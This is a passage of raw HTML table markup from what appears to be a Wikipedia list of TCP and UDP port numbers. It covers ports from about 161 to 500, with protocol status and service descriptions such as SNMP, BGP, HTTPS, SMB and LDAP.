Network Management Protocol\">Simple Network Management Protocol</a> (SNMP)<sup id=\"cite_ref-rfc1157_74-0\" class=\"reference\"><a href=\"#cite_note-rfc1157-74\">&#91;74&#93;</a></sup><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"Please add citations for SNMPv2 and SNMPv3 protocols. (October 2016)\">citation needed</span></a></i>&#93;</sup><sup id=\"cite_ref-apple-kb-HT202944_11-19\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>162</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Simple_Network_Management_Protocol\" title=\"Simple Network Management Protocol\">Simple Network Management Protocol</a> Trap (SNMPTRAP)<sup id=\"cite_ref-rfc1157_74-1\" class=\"reference\"><a href=\"#cite_note-rfc1157-74\">&#91;74&#93;</a></sup><sup id=\"cite_ref-cisco-support-7244_75-0\" class=\"reference\"><a href=\"#cite_note-cisco-support-7244-75\">&#91;75&#93;</a></sup><sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"Please add citations for SNMPv2 and SNMPv3 protocols. (October 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>165</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Xerox\" title=\"Xerox\">Xerox</a>\n</td></tr>\n<tr>\n<td>169</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Secure_Neighbor_Discovery\" title=\"Secure Neighbor Discovery\">SEND</a>\n</td></tr>\n<tr>\n<td>170</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Network <a href=\"/wiki/PostScript\" title=\"PostScript\">PostScript</a> <a href=\"/wiki/Print_server\" title=\"Print server\">print server</a>\n</td></tr>\n<tr>\n<td>177</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/X_Display_Manager_Control_Protocol\" class=\"mw-redirect\" title=\"X Display Manager Control Protocol\">X Display Manager Control Protocol</a> (XDMCP), used for remote logins to an <a href=\"/wiki/X_display_manager\" title=\"X display manager\">X Display Manager</a> server<sup id=\"cite_ref-X11R7.6-doc-xdmcp_76-0\" class=\"reference\"><a href=\"#cite_note-X11R7.6-doc-xdmcp-76\">&#91;76&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"The material near this tag may rely on a self-published source. (October 2016)\">self-published source</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>179</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes<sup id=\"cite_ref-rfc4960_12-6\" class=\"reference\"><a href=\"#cite_note-rfc4960-12\">&#91;12&#93;</a></sup></td>\n<td>\n</td>\n<td><a href=\"/wiki/Border_Gateway_Protocol\" title=\"Border Gateway Protocol\">Border Gateway Protocol</a> (BGP),<sup id=\"cite_ref-rfc4271_77-0\" class=\"reference\"><a href=\"#cite_note-rfc4271-77\">&#91;77&#93;</a></sup> used to exchange routing and reachability information among <a href=\"/wiki/Autonomous_system_(Internet)\" title=\"Autonomous system (Internet)\">autonomous systems</a> (AS) on the <a href=\"/wiki/Internet\" title=\"Internet\">Internet</a>\n</td></tr>\n<tr>\n<td>180</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Remote_Installation_Services\" title=\"Remote Installation Services\">ris</a>\n</td></tr>\n<tr>\n<td>194</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Internet_Relay_Chat\" title=\"Internet Relay Chat\">Internet Relay Chat</a> (IRC)<sup id=\"cite_ref-rfc7194_78-0\" class=\"reference\"><a href=\"#cite_note-rfc7194-78\">&#91;78&#93;</a></sup>\n</td></tr>\n<tr>\n<td>199</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SNMP\" class=\"mw-redirect\" title=\"SNMP\">SNMP</a> Unix Multiplexer (SMUX)<sup id=\"cite_ref-rfc1227_79-0\" class=\"reference\"><a href=\"#cite_note-rfc1227-79\">&#91;79&#93;</a></sup>\n</td></tr>\n<tr>\n<td>201</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/AppleTalk\" title=\"AppleTalk\">AppleTalk</a> Routing Maintenance\n</td></tr>\n<tr>\n<td>209</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Quick_Mail_Transfer_Protocol\" title=\"Quick Mail Transfer Protocol\">Quick Mail Transfer Protocol</a><sup id=\"cite_ref-qmtp.txt_80-0\" class=\"reference\"><a href=\"#cite_note-qmtp.txt-80\">&#91;80&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"The material near this tag may rely on a self-published source. (April 2018)\">self-published source</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>210</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ANSI\" class=\"mw-redirect\" title=\"ANSI\">ANSI</a> <a href=\"/wiki/Z39.50\" title=\"Z39.50\">Z39.50</a>\n</td></tr>\n<tr>\n<td>213</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Internetwork_Packet_Exchange\" title=\"Internetwork Packet Exchange\">Internetwork Packet Exchange</a> (IPX)\n</td></tr>\n<tr>\n<td>218</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Message posting protocol (MPP)\n</td></tr>\n<tr>\n<td>220</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Internet_Message_Access_Protocol\" title=\"Internet Message Access Protocol\">Internet Message Access Protocol</a> (IMAP), version 3\n</td></tr>\n<tr>\n<td>225–241</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>\n</td></tr>\n<tr>\n<td>249–255</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>\n</td></tr>\n<tr>\n<td>259</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Efficient Short Remote Operations (ESRO)\n</td></tr>\n<tr>\n<td>262</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Arcisdms\n</td></tr>\n<tr>\n<td>264</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Border_Gateway_Multicast_Protocol\" title=\"Border Gateway Multicast Protocol\">Border Gateway Multicast Protocol</a> (BGMP)\n</td></tr>\n<tr>\n<td>280</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>http-mgmt\n</td></tr>\n<tr>\n<td>300</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ThinLinc\" title=\"ThinLinc\">ThinLinc</a> Web Access\n</td></tr>\n<tr>\n<td>308</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Novastor Online Backup\n</td></tr>\n<tr>\n<td>311</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/MacOS_Server\" title=\"MacOS Server\">macOS Server</a> Admin<sup id=\"cite_ref-apple-kb-HT202944_11-20\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> (officially <a href=\"/wiki/AppleShare\" title=\"AppleShare\">AppleShare</a> IP Web administration<sup id=\"cite_ref-IANA_2-6\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup>)\n</td></tr>\n<tr>\n<td>312</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>macOS <a href=\"/wiki/Xsan\" title=\"Xsan\">Xsan</a> administration<sup id=\"cite_ref-apple-kb-HT202944_11-21\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>318</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>PKIX <a href=\"/wiki/Time_Stamp_Protocol\" class=\"mw-redirect\" title=\"Time Stamp Protocol\">Time Stamp Protocol</a> (TSP)\n</td></tr>\n<tr>\n<td>319</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Precision_Time_Protocol\" title=\"Precision Time Protocol\">Precision Time Protocol</a> (PTP) event messages\n</td></tr>\n<tr>\n<td>320</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Precision_Time_Protocol\" title=\"Precision Time Protocol\">Precision Time Protocol</a> (PTP) general messages\n</td></tr>\n<tr>\n<td>350</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Mapping_of_Airline_Traffic_over_Internet_Protocol\" title=\"Mapping of Airline Traffic over Internet Protocol\">Mapping of Airline Traffic over Internet Protocol</a> (MATIP) type A\n</td></tr>\n<tr>\n<td>351</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>MATIP type B\n</td></tr>\n<tr>\n<td>356</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>cloanto-net-1 (used by Cloanto Amiga Explorer and VMs)\n</td></tr>\n<tr>\n<td>366</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>On-Demand Mail Relay (ODMR)\n</td></tr>\n<tr>\n<td>369</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Rpc2portmap\n</td></tr>\n<tr>\n<td rowspan=\"2\">370\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>codaauth2, Coda authentication server\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>securecast1, outgoing packets to <a href=\"/wiki/McAfee\" title=\"McAfee\">NAI</a>'s SecureCast servers<sup id=\"cite_ref-SecureCast_81-0\" class=\"reference\"><a href=\"#cite_note-SecureCast-81\">&#91;81&#93;</a></sup>As of 2000<sup class=\"plainlinks noexcerpt noprint asof-tag update\" style=\"display:none;\"><a class=\"external text\" href=\"https://en.wikipedia.org/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit\">&#91;update&#93;</a></sup>\n</td></tr>\n<tr>\n<td>371</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>ClearCase albd\n</td></tr>\n<tr>\n<td>376</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Amiga\" title=\"Amiga\">Amiga</a> Envoy Network Inquiry Protocol\n</td></tr>\n<tr>\n<td>383</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>HP data alarm manager\n</td></tr>\n<tr>\n<td>384</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>A Remote Network Server System\n</td></tr>\n<tr>\n<td>387</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>AURP (<a href=\"/wiki/AppleTalk\" title=\"AppleTalk\">AppleTalk</a> Update-based Routing Protocol)<sup id=\"cite_ref-82\" class=\"reference\"><a href=\"#cite_note-82\">&#91;82&#93;</a></sup>\n</td></tr>\n<tr>\n<td>388</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Local_Data_Manager\" title=\"Local Data Manager\">Unidata LDM</a> near real-time data distribution protocol<sup id=\"cite_ref-83\" class=\"reference\"><a href=\"#cite_note-83\">&#91;83&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"This reference citation appears to be to a self-published source. (November 2018)\">self-published source</span></a></i>&#93;</sup><sup id=\"cite_ref-84\" class=\"reference\"><a href=\"#cite_note-84\">&#91;84&#93;</a></sup><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Verifiability#Self-published_sources\" title=\"Wikipedia:Verifiability\"><span title=\"This reference citation appears to be to a self-published source. (November 2018)\">self-published source</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>389</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Lightweight_Directory_Access_Protocol\" title=\"Lightweight Directory Access Protocol\">Lightweight Directory Access Protocol</a> (LDAP)<sup id=\"cite_ref-apple-kb-HT202944_11-22\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>399</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Digital_Equipment_Corporation\" title=\"Digital Equipment Corporation\">Digital Equipment Corporation</a> <a href=\"/w/index.php?title=DECnet%2B&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"DECnet+ (page does not exist)\">DECnet+</a> (Phase V) over TCP/IP (RFC1859)\n</td></tr>\n<tr>\n<td>401</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Uninterruptible_power_supply\" title=\"Uninterruptible power supply\">Uninterruptible power supply</a> (UPS)\n</td></tr>\n<tr>\n<td>427</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Service_Location_Protocol\" title=\"Service Location Protocol\">Service Location Protocol</a> (SLP)<sup id=\"cite_ref-apple-kb-HT202944_11-23\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td>433</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>NNTP, part of <a href=\"/wiki/Network_News_Transfer_Protocol\" title=\"Network News Transfer Protocol\">Network News Transfer Protocol</a>\n</td></tr>\n<tr>\n<td>434</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Mobile_IP\" title=\"Mobile IP\">Mobile IP</a> Agent (RFC 5944)\n</td></tr>\n<tr>\n<td>443</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes<sup id=\"cite_ref-rfc4960_12-7\" class=\"reference\"><a href=\"#cite_note-rfc4960-12\">&#91;12&#93;</a></sup></td>\n<td>\n</td>\n<td><a href=\"/wiki/HTTPS\" title=\"HTTPS\">Hypertext Transfer Protocol Secure</a> (HTTPS)<sup id=\"cite_ref-rfc7230_48-1\" class=\"reference\"><a href=\"#cite_note-rfc7230-48\">&#91;48&#93;</a></sup><sup id=\"cite_ref-rfc7540_49-1\" class=\"reference\"><a href=\"#cite_note-rfc7540-49\">&#91;49&#93;</a></sup> uses TCP in versions 1.x and 2. <a href=\"/wiki/HTTP/3\" title=\"HTTP/3\">HTTP/3</a> uses QUIC,<sup id=\"cite_ref-quic_50-1\" class=\"reference\"><a href=\"#cite_note-quic-50\">&#91;50&#93;</a></sup> a transport protocol on top of UDP.\n</td></tr>\n<tr>\n<td>444</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Simple_Network_Paging_Protocol\" title=\"Simple Network Paging Protocol\">Simple Network Paging Protocol</a> (SNPP), RFC 1568\n</td></tr>\n<tr>\n<td rowspan=\"2\">445\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Microsoft-DS (Directory Services) <a href=\"/wiki/Active_Directory\" title=\"Active Directory\">Active Directory</a>,<sup id=\"cite_ref-msft-tn-dd772723_85-0\" class=\"reference\"><a href=\"#cite_note-msft-tn-dd772723-85\">&#91;85&#93;</a></sup> Windows shares\n</td></tr>\n<tr>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>Microsoft-DS (Directory Services) <a href=\"/wiki/Server_Message_Block\" title=\"Server Message Block\">SMB</a><sup id=\"cite_ref-apple-kb-HT202944_11-24\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> file sharing\n</td></tr>\n<tr>\n<td>464</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Kerberos_(protocol)\" title=\"Kerberos (protocol)\">Kerberos</a> Change/Set password\n</td></tr>\n<tr>\n<td rowspan=\"3\">465<sup id=\"cite_ref-tcp465_86-0\" class=\"reference\"><a href=\"#cite_note-tcp465-86\">&#91;note 1&#93;</a></sup>\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>SMTP over implicit SSL <i>(obsolete)</i><sup id=\"cite_ref-87\" class=\"reference\"><a href=\"#cite_note-87\">&#91;86&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>URL Rendezvous Directory for Cisco SSM <i>(primary usage assignment)</i><sup id=\"cite_ref-88\" class=\"reference\"><a href=\"#cite_note-88\">&#91;87&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td></td>\n<td>\n</td>\n<td>Authenticated <a href=\"/wiki/Simple_Mail_Transfer_Protocol\" title=\"Simple Mail Transfer Protocol\">SMTP</a><sup id=\"cite_ref-apple-kb-HT202944_11-25\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup> over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS/SSL</a> (<a href=\"/wiki/SMTPS\" title=\"SMTPS\">SMTPS</a>) <i>(alternative usage assignment)</i><sup id=\"cite_ref-theregister-2018-02-01-rfc8314_89-0\" class=\"reference\"><a href=\"#cite_note-theregister-2018-02-01-rfc8314-89\">&#91;88&#93;</a></sup>\n</td></tr>\n<tr>\n<td>475</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>tcpnethaspsrv, <a href=\"/wiki/Aladdin_Knowledge_Systems\" title=\"Aladdin Knowledge Systems\">Aladdin Knowledge Systems</a> Hasp services\n</td></tr>\n<tr>\n<td>476–490</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a rel=\"nofollow\" class=\"external text\" href=\"https://www.centrosoftware.com/\">Centro Software ERP</a> ports\n</td></tr>\n<tr>\n<td>491</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/GO-Global\" class=\"mw-redirect\" title=\"GO-Global\">GO-Global remote access and application publishing software</a>\n</td></tr>\n<tr>\n<td>497</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Retrospect_(software)\" title=\"Retrospect (software)\">Retrospect</a>\n</td></tr>\n<tr>\n<td>500</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Internet_Security_Association_and_Key_Management_Protocol\" title=\"Internet Security Association and Key Management Protocol\">Internet Security Association and Key Management Protocol</a> (ISAKMP) / <a href=\"/wiki/Internet_Key_Exchange\" title=\"Internet Key Exchange\">Internet Key Exchange</a> (IKE)<sup id=\"cite_ref-apple-kb-HT202944_11-26\" class=\"reference\"><a 